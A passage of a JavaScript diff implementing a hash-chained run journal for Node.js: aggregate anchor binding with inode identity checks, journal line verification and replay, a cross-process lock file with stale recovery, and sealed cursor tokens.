} +} + +function projectAggregateBinding(fields) { + return { + run_id: fields.run_id, + marker_digest: fields.marker_digest, + claim_digest: fields.claim_digest, + anchor_digest: fields.anchor_digest, + coordination_digest: fields.coordination_digest, + resolved_plan_digest: fields.resolved_plan_digest, + phase: fields.phase, + revision: fields.revision, + }; +} + +async function observeAggregateResolution(anchor, runId) { + const record = await anchor.getByRunId(runId); + const validated = validateAggregateRunAnchorV1(record); + if (validated.run_id !== runId) { + failJournal('run_journal_identity_mismatch', 'run_id', + 'The bound aggregate anchor must carry the exact requested run identity.'); + } + const coordination = await anchor.getCoordination(runId); + const coord = validateAggregateRunCoordinationV1(coordination); + if (coord.run_id !== runId || coord.anchor_digest !== validated.canonical_digest) { + failJournal('run_journal_identity_mismatch', 'coordination', + 'The bound aggregate coordination does not match the anchor identity.'); + } + if (coord.phase !== 'resolution_ready' || coord.resolved_plan_digest === null) { + failJournal('run_journal_aggregate_not_ready', 'phase', + 'Aggregate journals require a resolution_ready R24A resolved plan.'); + } + if (coord.revision !== 1 && coord.revision !== 2) { + failJournal('run_journal_aggregate_not_ready', 'revision', + 'Aggregate journals require a resolution_ready revision of 1 or 2.'); + } + return { + run_id: runId, + marker_digest: anchor.marker_digest, + anchor_digest: validated.canonical_digest, + submission_idempotency_key: validated.submission_idempotency_key, + coordination_digest: coord.state_digest, + resolved_plan_digest: coord.resolved_plan_digest, + phase: coord.phase, + revision: coord.revision, + }; +} + +function snapshotFsIdentity(stat) { + return { dev: Number(stat.dev), ino: Number(stat.ino) }; +} + +async function readDurableAggregateIdentity(anchorRoot, runId, observed) { + const identities = {}; + const rootToken = await openDirectoryHandle(anchorRoot, 'anchor'); + try { + identities.root = snapshotFsIdentity(rootToken); + const markerOpened = await readBoundedFile( + rootToken, AGGREGATE_MARKER_NAME, MAX_AGGREGATE_MARKER_BYTES, AGGREGATE_MARKER_NAME, + ); + const marker = validateDurableMarker(parseCanonicalStoredBytes( + markerOpened === null ? null : markerOpened.bytes, AGGREGATE_MARKER_NAME, + )); + identities.marker = snapshotFsIdentity(markerOpened.stat); + if (marker.canonical_digest !== observed.marker_digest) { + failJournal('run_journal_aggregate_swapped', AGGREGATE_MARKER_NAME, + 'The aggregate root marker changed during binding.'); + } + const claimsToken = await openDirectoryHandle( + childPath(rootToken.path, AGGREGATE_CLAIMS_NAME), 'claim', + ); + let claim; + try { + identities.claims = snapshotFsIdentity(claimsToken); + const claimName = `${runId}.json`; + const claimOpened = await readBoundedFile( + claimsToken, claimName, MAX_AGGREGATE_CLAIM_BYTES, 'claim', + ); + claim = validateDurableClaim( + parseCanonicalStoredBytes(claimOpened === null ? null : claimOpened.bytes, 'claim'), + runId, + observed, + marker, + ); + identities.claim = snapshotFsIdentity(claimOpened.stat); + } finally { + await claimsToken.handle.close().catch(() => {}); + } + const runsToken = await openDirectoryHandle( + childPath(rootToken.path, AGGREGATE_RUNS_NAME), 'runs', + ); + try { + identities.runs = snapshotFsIdentity(runsToken); + const runToken = await openDirectoryHandle(childPath(runsToken.path, runId), 'directory'); + try { + identities.run = snapshotFsIdentity(runToken); + const planOpened = await readBoundedFile( + runToken, AGGREGATE_PLAN_RECORD_NAME, MAX_AGGREGATE_RECORD_BYTES, AGGREGATE_PLAN_RECORD_NAME, + ); + const plan = validateDurablePlan( + parseCanonicalStoredBytes( + planOpened === null ? null : planOpened.bytes, AGGREGATE_PLAN_RECORD_NAME, + ), + runId, + ); + identities.plan = snapshotFsIdentity(planOpened.stat); + if (plan.canonical_digest !== observed.resolved_plan_digest) { + failJournal('run_journal_aggregate_swapped', AGGREGATE_PLAN_RECORD_NAME, + 'The resolved-plan record changed during binding.'); + } + const stampOpened = await readBoundedFile( + runToken, AGGREGATE_STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES, AGGREGATE_STAMP_NAME, + ); + validateDurableAggregateStamp( + parseCanonicalStoredBytes( + stampOpened === null ? null : stampOpened.bytes, AGGREGATE_STAMP_NAME, + ), + runId, + observed.anchor_digest, + claim.nonce, + ); + identities.stamp = snapshotFsIdentity(stampOpened.stat); + } finally { + await runToken.handle.close().catch(() => {}); + } + } finally { + await runsToken.handle.close().catch(() => {}); + } + return { + ...observed, + claim_digest: claim.canonical_digest, + identities, + }; + } finally { + await rootToken.handle.close().catch(() => {}); + } +} + +async function observeCompleteAggregateBinding(anchor, runId) { + const observed = await observeAggregateResolution(anchor, runId); + return readDurableAggregateIdentity(anchor.root, runId, observed); +} + +function aggregateObservationChanged(first, second) { + const firstProj = projectAggregateBinding(first); + const secondProj = projectAggregateBinding(second); + return canonicalJsonStringify(firstProj) !== canonicalJsonStringify(secondProj) + || first.marker_digest !== second.marker_digest + || first.anchor_digest !== second.anchor_digest + || first.submission_idempotency_key !== second.submission_idempotency_key + || first.claim_digest !== second.claim_digest + || first.coordination_digest !== second.coordination_digest + || first.resolved_plan_digest !== second.resolved_plan_digest + || first.phase !== second.phase + || first.revision !== second.revision + || canonicalJsonStringify(first.identities) !== canonicalJsonStringify(second.identities); +} + +export async function bindAggregateResolution(anchor, runId) { + assertRunId(runId, 'run_id'); + const bound = assertAnchorHandle(anchor); + const first = await observeCompleteAggregateBinding(bound.handle, runId); + const second = await observeCompleteAggregateBinding(bound.handle, runId); + if (aggregateObservationChanged(first, second)) { + failJournal('run_journal_aggregate_swapped', 'anchor', + 'The aggregate resolution identity changed during binding.'); + } + const firstProj = projectAggregateBinding(first); + const bindingDigest = computeAggregateBindingDigest(firstProj); + return validateBoundAggregateResolution({ + ...firstProj, + binding_digest: bindingDigest, + }); +} + +async function directoryIdentity(dirPath) { + let handle; + try { + handle = await open(assertSafeRootPath(dirPath), ROOT_OPEN_FLAGS); + } catch { + return null; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isDirectory()) return null; + return snapshotFsIdentity(stat); + } finally { + await handle.close().catch(() => {}); + } +} + +async function ancestorIdentities(dirPath) { + const chain = []; + let current = dirPath; + for (let depth = 0; depth < MAX_DIRECTORY_ANCESTRY_WALK; depth += 1) { + const ident = await directoryIdentity(current); + if (ident === null) break; + if (chain.some((entry) => entry.dev === ident.dev && entry.ino === ident.ino)) break; + chain.push(ident); + const parent = path.dirname(current); + if (parent === current) break; + current = parent; + } + return chain; +} + +function chainContains(chain, ident) { + if (ident === null || ident === undefined) return false; + return chain.some((entry) => entry.dev === Number(ident.dev) && entry.ino === Number(ident.ino)); +} + +async function verifyAggregateRootSeparation(anchor, rootToken) { + const journalIdent = snapshotFsIdentity(rootToken); + const journalChain = await ancestorIdentities(rootToken.path); + const forbidden = [ + anchor.root, + path.join(anchor.root, AGGREGATE_CLAIMS_NAME), + path.join(anchor.root, AGGREGATE_RUNS_NAME), + ]; + for (const candidate of forbidden) { + const ident = await directoryIdentity(candidate); + if (ident === null) continue; + const candidateChain = await ancestorIdentities(candidate); + if (sameIdentity(ident, journalIdent) + || chainContains(journalChain, ident) + || chainContains(candidateChain, journalIdent)) { + failJournal('run_journal_root_shared', 'root', + 'The journal root must be separate from the R24A aggregate root.'); + } + } +} + +// --------------------------------------------------------------------------- +// Journal parsing, verification, and replay +// --------------------------------------------------------------------------- + +function decodeStrictUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failJournal('run_journal_committed_corruption', field, + 'Journal files must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failJournal('run_journal_committed_corruption', field, 'Journal files must be valid UTF-8.'); + } +} + +function entryHash(seq, prev, kind, data, dedupeKey) { + const body = canonicalJsonStringify({ + seq, + prev, + kind, + data, + ...(dedupeKey === undefined ? {} : { dedupe_key: dedupeKey }), + }); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(`${RUN_JOURNAL_HASH_DOMAIN}\n${body}`, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +function parseCommittedLine(line, index) { + // Every rejection of a newline-terminated line is committed corruption: + // the line claimed a committed boundary, so no specific shape detail is + // echoed beyond the constant typed code. + try { + let parsed; + try { + parsed = JSON_PARSE(line); + } catch { + throw new Error('json'); + } + if (parsed === undefined || parsed === null || typeof parsed !== 'object' + || Array.isArray(parsed)) { + throw new Error('shape'); + } + if (canonicalJsonStringify(parsed) !== line) throw new Error('canonical'); + const entry = validateRunJournalEntryV1(parsed); + const recomputed = entryHash( + entry.seq, + entry.prev, + entry.kind, + entry.data, + entry.dedupe_key === undefined ? undefined : entry.dedupe_key, + ); + if (recomputed !== entry.hash) throw new Error('hash'); + return freezeData(entry); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'run_journal_committed_corruption') { + throw error; + } + failJournal('run_journal_committed_corruption', `${JOURNAL_NAME}[${index}]`, + 'A committed journal line failed closed-form verification.'); + } +} + +// Splits raw journal bytes into committed newline-terminated entries and an +// optional unterminated torn tail segment (the only healable damage). +function parseJournalBytes(bytes) { + if (bytes === null || bytes === undefined || bytes.byteLength === 0) { + return { entries: [], entryLines: [], tornTailBytes: 0 }; + } + const text = decodeStrictUtf8(bytes, JOURNAL_NAME); + const segments = text.split('\n'); + const tail = segments.pop(); + const tornTailBytes = tail === '' + ? 0 + : NodeBuffer.byteLength(tail, 'utf8'); + const entries = []; + const entryLines = []; + for (let index = 0; index < segments.length; index += 1) { + const line = segments[index]; + if (line.length === 0) { + failJournal('run_journal_committed_corruption', `${JOURNAL_NAME}[${index}]`, + 'Committed journal lines must be non-empty.'); + } + entries.push(parseCommittedLine(line, index)); + entryLines.push(NodeBuffer.byteLength(line, 'utf8') + 1); + } + return { entries, entryLines, tornTailBytes }; +} + +function replayJournal(entries) { + return reduceRunJournalEntriesV1(entries); +} + +async function auditStateCache(dirToken, entries, replayedState, volatile = false) { + const opened = volatile + ? await (async () => { + try { + return await readBoundedFile( + dirToken, STATE_NAME, MAX_RUN_JOURNAL_STATE_BYTES, STATE_NAME, true, + ); + } catch (error) { + if (isJournalVolatility(error)) throw error; + throw error; + } + })() + : await readBoundedFile(dirToken, STATE_NAME, MAX_RUN_JOURNAL_STATE_BYTES, STATE_NAME); + if (opened === null) return { present: false }; + const text = decodeStrictUtf8(opened.bytes, STATE_NAME); + if (!text.endsWith('\n')) { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache must end with a single newline.'); + } + const body = text.slice(0, -1); + let parsed; + try { + parsed = JSON_PARSE(body); + } catch { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache is not valid JSON.'); + } + if (canonicalJsonStringify(parsed) !== body) { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache is not canonical JSON.'); + } + validateRunJournalStateV1(parsed); + if (parsed.revision > replayedState.revision) { + failJournal('run_journal_state_regression', STATE_NAME, + 'The derived state cache revision exceeds the committed journal head.'); + } + const prefixState = replayJournal(entries.slice(0, parsed.revision)); + if (canonicalJsonStringify(prefixState) !== body) { + failJournal('run_journal_state_mismatch', STATE_NAME, + 'The derived state cache disagrees with the exact journal replay.'); + } + return { present: true, revision: parsed.revision }; +} + +// Verifies this directory is exactly the private journal created for the +// bound record. Survives inode reuse: a deleted-and-recreated or foreign +// substituted directory cannot carry the creation stamp of this binding. +function stampByteLimit(journalMode) { + return journalMode === JOURNAL_MODE_AGGREGATE + ? MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES + : MAX_RUN_JOURNAL_STAMP_BYTES; +} + +async function verifyCreationStamp(dirToken, binding, journalMode = JOURNAL_MODE_LEGACY) { + const opened = await readBoundedFile(dirToken, STAMP_NAME, stampByteLimit(journalMode), STAMP_NAME); + const rebound = () => failJournal('run_journal_dir_rebound', STAMP_NAME, + 'The run directory is not the private journal created for this bound record.'); + if (opened === null) rebound(); + let text; + try { + text = TEXT_DECODER.decode(opened.bytes); + } catch { + rebound(); + } + let parsed; + try { + parsed = JSON_PARSE(text.slice(0, -1)); + } catch { + rebound(); + } + const keys = parsed === null || typeof parsed !== 'object' || Array.isArray(parsed) + ? [] + : sortedCapturedKeys(parsed); + if (!text.endsWith('\n') || canonicalJsonStringify(parsed) !== text.slice(0, -1) + || keys.length !== 4 + || !keys.includes('schema') || !keys.includes('run_id') + || !keys.includes('nonce') + || parsed.run_id !== binding.run_id + || typeof parsed.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, parsed.nonce)) { + rebound(); + } + if (journalMode === JOURNAL_MODE_AGGREGATE) { + if (!keys.includes('binding_digest') + || parsed.schema !== RUN_JOURNAL_STAMP_SCHEMA_ID_V2) { + rebound(); + } + if (parsed.binding_digest !== binding.binding_digest) { + failJournal('run_journal_identity_conflict', STAMP_NAME, + 'The run journal already binds a different aggregate resolution identity.'); + } + return; + } + if (!keys.includes('record_canonical_digest') + || parsed.schema !== RUN_JOURNAL_STAMP_SCHEMA_ID + || parsed.record_canonical_digest !== binding.canonical_digest) { + rebound(); + } +} + +async function writeCreationStamp(dirToken, binding, nonceHex, journalMode = JOURNAL_MODE_LEGACY) { + const record = journalMode === JOURNAL_MODE_AGGREGATE + ? { + schema: RUN_JOURNAL_STAMP_SCHEMA_ID_V2, + run_id: binding.run_id, + binding_digest: binding.binding_digest, + nonce: nonceHex, + } + : { + schema: RUN_JOURNAL_STAMP_SCHEMA_ID, + run_id: binding.run_id, + record_canonical_digest: binding.canonical_digest, + nonce: nonceHex, + }; + const body = `${canonicalJsonStringify(record)}\n`; + if (journalMode === JOURNAL_MODE_AGGREGATE + && NodeBuffer.byteLength(body, 'utf8') > MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES) { + failJournal('run_journal_file_too_large', STAMP_NAME, + `Journal files must not exceed ${MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES} bytes.`); + } + await atomicPublish(dirToken, STAMP_NAME, NodeBuffer.from(body, 'utf8'), STAMP_NAME); +} + +// Every operation re-verifies the shared runs/ namespace: bounded count, +// exact run-id grammar, and plain-directory entries without symlinks. +async function auditRunsSiblings(dirToken) { + const runsPath = path.dirname(dirToken.path); + let dir; + try { + dir = await opendir(runsPath, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, 'runs', 'run_journal_unsafe_path', + 'The journal runs directory could not be re-verified.'); + } + const seen = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > MAX_RUN_DIRECTORIES + 1) { + failJournal('run_journal_flood', 'runs', + `The journal root must not exceed ${MAX_RUN_DIRECTORIES} run directories.`); + } + if (entry.name === '.' || entry.name === '..') continue; + assertSafeChildName(entry.name, 'runs'); + if (entry.isSymbolicLink() || (!entry.isDirectory() && !entry.isFile())) { + failJournal('run_journal_unsafe_path', 'runs', + 'The journal runs namespace must contain only real directories.'); + } + seen.push(entry.name); + } + } finally { + await dir.close().catch(() => {}); + } + return seen; +} + +async function auditLayout(dirToken, volatile = false) { + await auditRunsSiblings(dirToken); + const names = await enumerateDirectory(dirToken, MAX_RUN_JOURNAL_DIRECTORY_ENTRIES, 'directory'); + const temporaries = []; + for (const name of names) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) { + temporaries.push(name); + continue; + } + if (name !== JOURNAL_NAME && name !== STATE_NAME && name !== LOCK_NAME + && name !== STAMP_NAME) { + failJournal('run_journal_foreign_entry', 'directory', + 'The run journal directory contains a foreign entry.'); + } + let inspection; + try { + inspection = await inspectChildFile(dirToken, name, name, volatile); + } catch (error) { + if (volatile && isJournalVolatility(error)) throw error; + throw error; + } + if (inspection.kind === 'file') assertRegularUnsharedFile(inspection.stat, name); + } + if (temporaries.length > MAX_RUN_JOURNAL_TEMPORARIES) { + failJournal('run_journal_flood', 'temporary', + `Run journals must not accumulate more than ${MAX_RUN_JOURNAL_TEMPORARIES} temporaries.`); + } + return { names, temporaries }; +} + +// --------------------------------------------------------------------------- +// Advisory cross-process lock with bounded stale recovery +// --------------------------------------------------------------------------- + +function pidAlive(pid) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return false; + try { + process.kill(pid, 0); + return true; + } catch (error) { + return error?.code === 'EPERM'; + } +} + +function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +function validLockPidShape(pid) { + return NUMBER_IS_SAFE_INTEGER(pid) && pid >= 1 && pid <= 0xffffffff; +} + +// The lock file is intentionally volatile across processes: contenders may +// always observe it appearing, vanishing, being replaced, or carrying two +// links inside our own link(tmp->lock)/unlink(tmp) window. Mutual exclusion +// lives in the exclusive name, so the advisory reader skips the nlink rule; +// hostile shapes (symlink, oversized, malformed content) stay hard failures. +async function readLockFile(dirToken) { + const target = childPath(dirToken.path, LOCK_NAME); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR' || error?.code === 'EISDIR') { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + throw error; + } + let opened; + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + if ((Number(stat.mode) & 0o077) !== 0 || Number(stat.size) > MAX_RUN_JOURNAL_LOCK_BYTES) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const bytes = await handle.readFile(); + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size)) { + return null; + } + opened = { bytes, stat }; + } catch (error) { + if (isJournalVolatility(error)) return null; + throw error; + } finally { + await handle.close().catch(() => {}); + } + if (opened === null) return null; + let text; + try { + text = TEXT_DECODER.decode(opened.bytes); + } catch { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const keys = parsed === null || typeof parsed !== 'object' ? [] : sortedCapturedKeys(parsed); + if (text.length > MAX_RUN_JOURNAL_LOCK_BYTES || keys.length !== 3 + || !keys.includes('schema') || !keys.includes('pid') || !keys.includes('nonce') + || parsed.schema !== RUN_JOURNAL_LOCK_SCHEMA_ID + || !validLockPidShape(parsed.pid) + || typeof parsed.nonce !== 'string' + || !capturedTest(/^[0-9a-f]{32}$/u, parsed.nonce)) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + return { schema: parsed.schema, pid: parsed.pid, nonce: parsed.nonce, dev: opened.stat.dev, ino: opened.stat.ino }; +} + +async function lockAgeMs(dirToken) { + let handle; + try { + handle = await open(childPath(dirToken.path, LOCK_NAME), FILE_READ_FLAGS); + } catch { + return 0; + } + try { + const stat = await handle.stat(); + return Math.max(0, Date.now() - Number(stat.mtimeMs)); + } catch { + return 0; + } finally { + await handle.close().catch(() => {}); + } +} + +async function acquireRunLock(dirToken) { + const deadline = Date.now() + RUN_JOURNAL_LOCK_WAIT_MS; + let steals = 0; + while (true) { + const ownerName = `.lock-${RANDOM_BYTES(16).toString('hex')}`; + const ownerPath = childPath(dirToken.path, ownerName); + const ownerBody = canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: process.pid, + nonce: RANDOM_BYTES(16).toString('hex'), + }); + let handle; + try { + handle = await open(ownerPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, 'lock', 'run_journal_io_failed', 'The lock owner file could not be created.'); + } + let acquired; + try { + await handle.writeFile(`${ownerBody}\n`, 'utf8'); + } finally { + await handle.close().catch(() => {}); + } + try { + await link(ownerPath, childPath(dirToken.path, LOCK_NAME)); + acquired = true; + } catch (error) { + if (error?.code === 'ENOENT') { + // A concurrent cleaner removed our owner file; restart the attempt. + acquired = false; + } else if (error?.code !== 'EEXIST') { + await unlink(ownerPath).catch(() => {}); + mapErrno(error, 'lock', 'run_journal_io_failed', 'The lock could not be acquired exclusively.'); + } else { + acquired = false; + } + } + await unlink(ownerPath).catch(() => {}); + if (acquired) { + const held = await readLockFile(dirToken); + if (held === null || held.pid !== process.pid) { + failJournal('run_journal_lock_corrupt', LOCK_NAME, + 'The acquired lock was replaced before use.'); + } + return { dev: held.dev, ino: held.ino, nonce: held.nonce }; + } + const existing = await readLockFile(dirToken); + if (existing === null) continue; + const ageMs = await lockAgeMs(dirToken); + const stale = !pidAlive(existing.pid) || ageMs > RUN_JOURNAL_LOCK_MAX_AGE_MS; + if (stale && steals < MAX_RUN_JOURNAL_LOCK_STEALS) { + let current; + try { + current = await readLockFile(dirToken); + } catch { + current = null; + } + if (current !== null && current.pid === existing.pid + && Number(current.dev) === Number(existing.dev) + && Number(current.ino) === Number(existing.ino)) { + try { + await unlink(childPath(dirToken.path, LOCK_NAME)); + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + steals += 1; + continue; + } + continue; + } + if (Date.now() >= deadline) { + failJournal('run_journal_lock_timeout', LOCK_NAME, + 'The run journal lock stayed contended for the bounded wait.'); + } + await sleep(RUN_JOURNAL_LOCK_POLL_MS); + } +} + +async function releaseRunLock(dirToken, token) { + const held = await readLockFile(dirToken).catch(() => null); + if (held === null) return; + if (held.nonce !== token.nonce + || Number(held.dev) !== Number(token.dev) + || Number(held.ino) !== Number(token.ino)) { + return; + } + await unlink(childPath(dirToken.path, LOCK_NAME)).catch(() => {}); +} + +// --------------------------------------------------------------------------- +// Opaque run-bound cursor tokens +// --------------------------------------------------------------------------- + +function runFingerprint(runId, recordDigest) { + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(`${RUN_JOURNAL_HASH_DOMAIN}\n${runId}\n${recordDigest}\n`, 'utf8') + .digest('hex'); + return digest; +} + +function base64url(bytes) { + return NodeBuffer.from(bytes).toString('base64url'); +} + +function encodeCursorToken(fingerprint, seq, headHash) { + const payload = base64url(canonicalJsonStringify({ v: 1, run: fingerprint, seq, head: headHash })); + const seal = base64url( + CREATE_HASH(HASH_ALGORITHM).update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(), + ); + return `${payload}.${seal}`; +} + +function decodeCursorToken(token, fingerprint) { + const invalid = () => failJournal('run_journal_cursor_invalid', 'cursor', + 'The cursor token is malformed or was tampered with.'); + if (typeof token !== 'string' || token.length === 0 + || token.length > MAX_RUN_JOURNAL_CURSOR_CHARS) invalid(); + const parts = token.split('.'); + if (parts.length !== 2) invalid(); + const [payload, seal] = parts; + if (!capturedTest(BASE64URL_PATTERN, payload) || !capturedTest(BASE64URL_PATTERN, seal)) invalid(); + const expected = base64url( + CREATE_HASH(HASH_ALGORITHM).update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(), + ); + const sealed = NodeBuffer.from(seal, 'base64url'); + const wanted = NodeBuffer.from(expected, 'base64url'); + if (sealed.length !== wanted.length || !TIMING_SAFE_EQUAL(sealed, wanted)) invalid(); + let text; + try { + text = TEXT_DECODER.decode(NodeBuffer.from(payload, 'base64url')); + } catch { + invalid(); + } + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + invalid(); + } + if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed) + || sortedCapturedKeys(parsed).length !== 4 + || !capturedHasOwn(parsed, 'v') || !capturedHasOwn(parsed, 'run') + || !capturedHasOwn(parsed, 'seq') || !capturedHasOwn(parsed, 'head')) invalid(); + if (parsed.v !== 1 + || typeof parsed.seq !== 'number' || !NUMBER_IS_SAFE_INTEGER(parsed.seq) + || parsed.seq < 0 || parsed.seq > MAX_RUN_JOURNAL_ENTRIES + || (parsed.head !== RUN_JOURNAL_GENESIS_PREV && !capturedTest(SHA256_DIGEST_PATTERN, parsed.head))) { + invalid(); + } + if (typeof parsed.run !== 'string' || !capturedTest(HEX_PATTERN, parsed.run)) invalid(); + if (parsed.run !== fingerprint) { + failJournal('run_journal_cursor_cross_run', 'cursor', + 'The cursor token belongs to a different run binding.'); + } + return { seq: parsed.seq, head: parsed.head }; +} + +// --------------------------------------------------------------------------- +// Shared operation plumbing +// --------------------------------------------------------------------------- + +async function verifyRootSeparation(store, rootToken) { + let storeHandle; + try { + storeHandle = await open(assertSafeRootPath(store.root), ROOT_OPEN_FLAGS); + } catch (error) { + failJournal('run_journal_store_invalid', 'store', + 'The accepted P24 store root could not be verified.'); + } + try { + const stat = await storeHandle.stat(); + if (sameIdentity(stat, rootToken)) { + failJournal('run_journal_root_shared', 'root', + 'The journal root must be separate from the accepted P24 store root.'); + } + } finally { + await storeHandle.close().catch(() => {}); + } +} + +function withRunChain(dirToken, operation) { + const id = `${STRING(dirToken.dev)}:${STRING(dirToken.ino)}:${STRING(dirToken.path)}`; + const previous = JOURNAL_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (JOURNAL_CHAINS.get(id) === settled) JOURNAL_CHAINS.delete(id); + }); + JOURNAL_CHAINS.set(id, settled); + return current; +} + +function bindingDigestOf(binding, journalMode) { + return journalMode === JOURNAL_MODE_AGGREGATE ? binding.binding_digest : binding.canonical_digest; +} + +async function buildHandle(parsed, binding, mode) { + const { root, store, runId } = parsed; + const journalMode = parsed.journalMode ?? JOURNAL_MODE_LEGACY; + const digest = bindingDigestOf(binding, journalMode); + if (binding.run_id !== runId || typeof digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, digest)) { + failJournal('run_journal_identity_mismatch', 'run_id', + 'The bound record must carry the exact requested run identity.'); + } + const rootToken = await openDirectoryHandle(root, 'root'); + try { + if (journalMode === JOURNAL_MODE_AGGREGATE) { + await verifyAggregateRootSeparation(parsed.anchor, rootToken); + return await withRunChain(rootToken, async () => { + const pinned = await reopenAndVerify(rootToken, 'root'); + try { + const fresh = await bindAggregateResolution(parsed.anchor, parsed.runId); + if (fresh.binding_digest !== binding.binding_digest) { + failJournal('run_journal_aggregate_swapped', 'anchor', + 'The aggregate resolution identity changed during binding.'); + } + return await materializeJournalHandle(parsed, binding, mode, digest, pinned); + } finally { + await pinned.handle.close().catch(() => {}); + } + }); + } + await verifyRootSeparation(store, rootToken); + return await materializeJournalHandle(parsed, binding, mode, digest, rootToken); + } finally { + await rootToken.handle.close().catch(() => {}); + } +} + +async function materializeJournalHandle(parsed, binding, mode, digest, rootToken) { + const { root, store, runId } = parsed; + const journalMode = parsed.journalMode ?? JOURNAL_MODE_LEGACY; + const rootNames = await enumerateDirectory(rootToken, MAX_RUN_JOURNAL_ROOT_ENTRIES, 'root'); + if (!rootNames.includes('runs')) { + if (mode !== 'create') { + failJournal('run_journal_not_found', 'root', + 'The journal root does not contain a runs directory yet.'); + } + await mkdirExclusive(path.join(root, 'runs'), 'runs'); + await syncDirectory(rootToken.handle); + } else if (rootNames.length !== 1) { + failJournal('run_journal_foreign_entry', 'root', + 'The journal root contains a foreign entry.'); + } + const runsToken = await openDirectoryHandle(path.join(root, 'runs'), 'runs'); + try { + const runNames = await enumerateDirectory(runsToken, MAX_RUN_DIRECTORIES + 1, 'runs'); + if (runNames.length > MAX_RUN_DIRECTORIES) { + failJournal('run_journal_flood', 'runs', + `The journal root must not exceed ${MAX_RUN_DIRECTORIES} run directories.`); + } + for (const name of runNames) { + assertRunId(name, 'runs'); + const childToken = await openDirectoryHandle(path.join(runsToken.path, name), 'runs'); + await childToken.handle.close().catch(() => {}); + } + if (mode === 'create' && runNames.includes(runId)) { + failJournal('run_journal_already_exists', 'run_id', + 'A run journal directory already exists for that run id.'); + } + if (mode === 'open' && !runNames.includes(runId)) { + failJournal('run_journal_not_found', 'run_id', + 'No run journal directory exists for that run id.'); + } + if (mode === 'create') { + await mkdirExclusive(path.join(runsToken.path, runId), 'run_id'); + await syncDirectory(runsToken.handle); + } + const dirToken = await openDirectoryHandle(path.join(runsToken.path, runId), 'directory'); + try { + if (dirToken.path !== path.join(runsToken.path, runId)) { + failJournal('run_journal_path_unsafe', 'run_id', + 'The run directory name must equal the bound run id.'); + } + if (mode === 'create') { + await verifyCreationStamp(dirToken, binding, journalMode).then(() => { + failJournal('run_journal_already_exists', 'run_id', + 'A run journal already exists for that run identity.'); + }, (error) => { + if (error instanceof RunContractV1Error + && error.code === 'run_journal_identity_conflict') { + throw error; + } + if (!(error instanceof RunContractV1Error + && error.code === 'run_journal_dir_rebound')) throw error; + }); + await writeCreationStamp( + dirToken, binding, RANDOM_BYTES(16).toString('hex'), journalMode, + ); + } else { + await verifyCreationStamp(dirToken, binding, journalMode); + } + const fingerprint = runFingerprint(binding.run_id, digest); + return assembleHandle({ + root, + store, + anchor: parsed.anchor, + runId, + binding, + fingerprint, + journalMode, + rootToken: capturedFreeze({ path: rootToken.path, dev: rootToken.dev, ino: rootToken.ino }), + runsToken: capturedFreeze({ path: runsToken.path, dev: runsToken.dev, ino: runsToken.ino }), + dirToken: capturedFreeze({ path: dirToken.path, dev: dirToken.dev, ino: dirToken.ino }), + }); + } finally { + await dirToken.handle.close().catch(() => {}); + } + } finally { + await runsToken.handle.close().catch(() => {}); + } +} + +async function mkdirExclusive(target, field) { + try { + await mkdir(target, { mode: 0o700 }); + } catch (error) { + if (error?.code === 'EEXIST') { + failJournal(field === 'runs' ? 'run_journal_unsafe_path' : 'run_journal_already_exists', field, + field === 'runs' + ? 'The journal runs directory was replaced concurrently.' + : 'A run journal directory already exists for that run id.'); + } + mapErrno(error, field, 'run_journal_io_failed', 'The journal directory could not be created.'); + } +} + 